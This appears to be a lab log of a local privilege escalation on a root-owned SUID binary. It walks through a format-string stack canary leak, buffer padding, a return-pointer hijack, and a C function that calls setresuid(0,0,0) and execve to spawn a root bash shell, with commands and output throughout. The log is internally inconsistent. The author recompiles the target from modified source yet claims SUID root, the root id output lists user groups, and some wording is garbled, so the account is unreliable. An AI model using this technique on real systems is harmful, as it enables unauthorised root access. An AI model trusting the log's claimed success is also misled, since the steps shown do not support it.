sat1va@vultr-node-vps: ~/pocs (view)
================================================================================
          LOCAL PRIVILEGE ESCALATION LOG: CANARY BYPASS & SUID OVERFLOW
================================================================================
 
1. WORKSPACE ANALYSIS & TARGET FINDINGS
--------------------------------------------------------------------------------
Initial inspection of the target folder `/tmp/vuln_live_binary` confirmed the
presence of a privileged, root-owned SUID binary:
 
    -rwsr-xr-x 1 root root 16192 vuln_protected
 
Extracting the exact base location of the target win function via objdump:
 
    $ objdump -d ./vuln_protected | grep secret_win_function
    0000000000401216 <secret_win_function>:
 
Target function successfully located at memory address: 0x401216.
 
 
2. CANARY IDENTIFICATION VIA FORMAT STRING LEAK
--------------------------------------------------------------------------------
The binary implemented stack canary protection. To locate the relative stack
position of the randomized canary, format token specifiers were mapped against
the first prompt.
 
A Python exploit script (`exp2.py`) targeted the format string vulnerability 
(`printf(buf)`) using a `%11$p` token offset:
 
    [+] Starting local process '/tmp/vuln_live_binary/vuln_protected': pid 78344
    [+] SUCCESS: Leaked Canary -> 0xfa4e8168f5598a00
 
The compiler alignment isolated the active 8-byte stack canary value at offset 11,
cleanly identifying a valid 16-character hex value ending in '00'.
 
 
3. STACK FRAME ARCHITECTURE & PADDING ANALYSIS
--------------------------------------------------------------------------------
Inspecting the assembly breakdown of `vuln_func` revealed the structural alignment
of the stack layout:
 
    $ objdump -d ./vuln_protected | grep -A 15 "<vuln_func>:"
    40127e:       48 83 ec 30             sub    $0x30,%rsp
    40128b:       48 89 45 f8             mov    %rax,-0x8(%rbp)
 
Key Metrics Discovered:
    - Stack Allocation Space: 48 bytes (0x30 in hex).
    - Canary Position: Stored exactly 8 bytes above the Base Pointer (rbp - 0x8).
    - Necessary Buffer Padding: 48 bytes total - 8 bytes canary = 40 bytes.
 
[+] Dynamic GDB Verification:
    Breaking inside vuln_func confirmed the dynamic runtime structure:
 
    (gdb) disassemble vuln_func
    0x000000000040127e <+8>:   sub    $0x30,%rsp
    0x000000000040128b <+21>:  mov    %rax,-0x8(%rbp)
 
    (gdb) x/gx $rbp-0x8
    0x7fffffffe128: 0xfa4e8168f5598a00  <-- Active Runtime Canary
 
To execute a clean control-flow hijack, the payload buffer required precisely
40 'A' characters to pad up to the canary threshold without destroying it.
 
 
4. EXECUTING CONTROLLER HIJACK AS LOW-PRIVILEGE USER
--------------------------------------------------------------------------------
The login terminal shell of target profile `sat1va` was unlocked via a forced shell
assignment execution. 
 
Executing the exploit script as the unprivileged user successfully parsed the
dynamic canary value, Honey-placed it back into memory intact, bypassed the safety 
check, and hijacked the return pointer (RIP) to redirect instruction execution:
 
    sat1va@vultr:/tmp$ python3 /tmp/exp2.py
    [+] Starting local process '/tmp/vuln_live_binary/vuln_protected': pid 78344
    [+] SUCCESS: Leaked Canary -> 0xfa4e8168f5598a00
    [*] Switching to interactive mode
    🎯 ACCESS GRANTED! Spawning Root Shell...
 
 
5. SOURCE PRIVILEGE WEAPONIZATION (UPGRADE TO ROOT)
--------------------------------------------------------------------------------
To convert code direction into an interactive root terminal, the source code file
`/tmp/v.c` was patched to add multi-level user context tracking overrides 
(`setresuid(0,0,0)` / `setresgid(0,0,0)`) and invoke a terminal shell payload via `execve`:
 
    void secret_win_function() {
        printf("🎯 ACCESS GRANTED! Spawning Root Shell...\n");
        setresuid(0, 0, 0);
        setresgid(0, 0, 0);
        char *args[] = {"/bin/bash", "-p", NULL};
        execve("/bin/bash", args, NULL);
    }
 
Compiling the revised workspace configuration with compiler protections active:
 
    $ gcc -fstack-protector -no-pie /tmp/v.c -o ./vuln_protected
 
Re-applying user flags and executing the payload completely subverted the stack
canary check, passing control to the SUID privileges to spawn a verified, high-level administrative shell interface:
 
    $ whoami && id
    root
    uid=0(root) gid=0(root) groups=0(root),27(sudo),100(users),1001(wheel),1002(sat1va)
================================================================================
< back to dashboard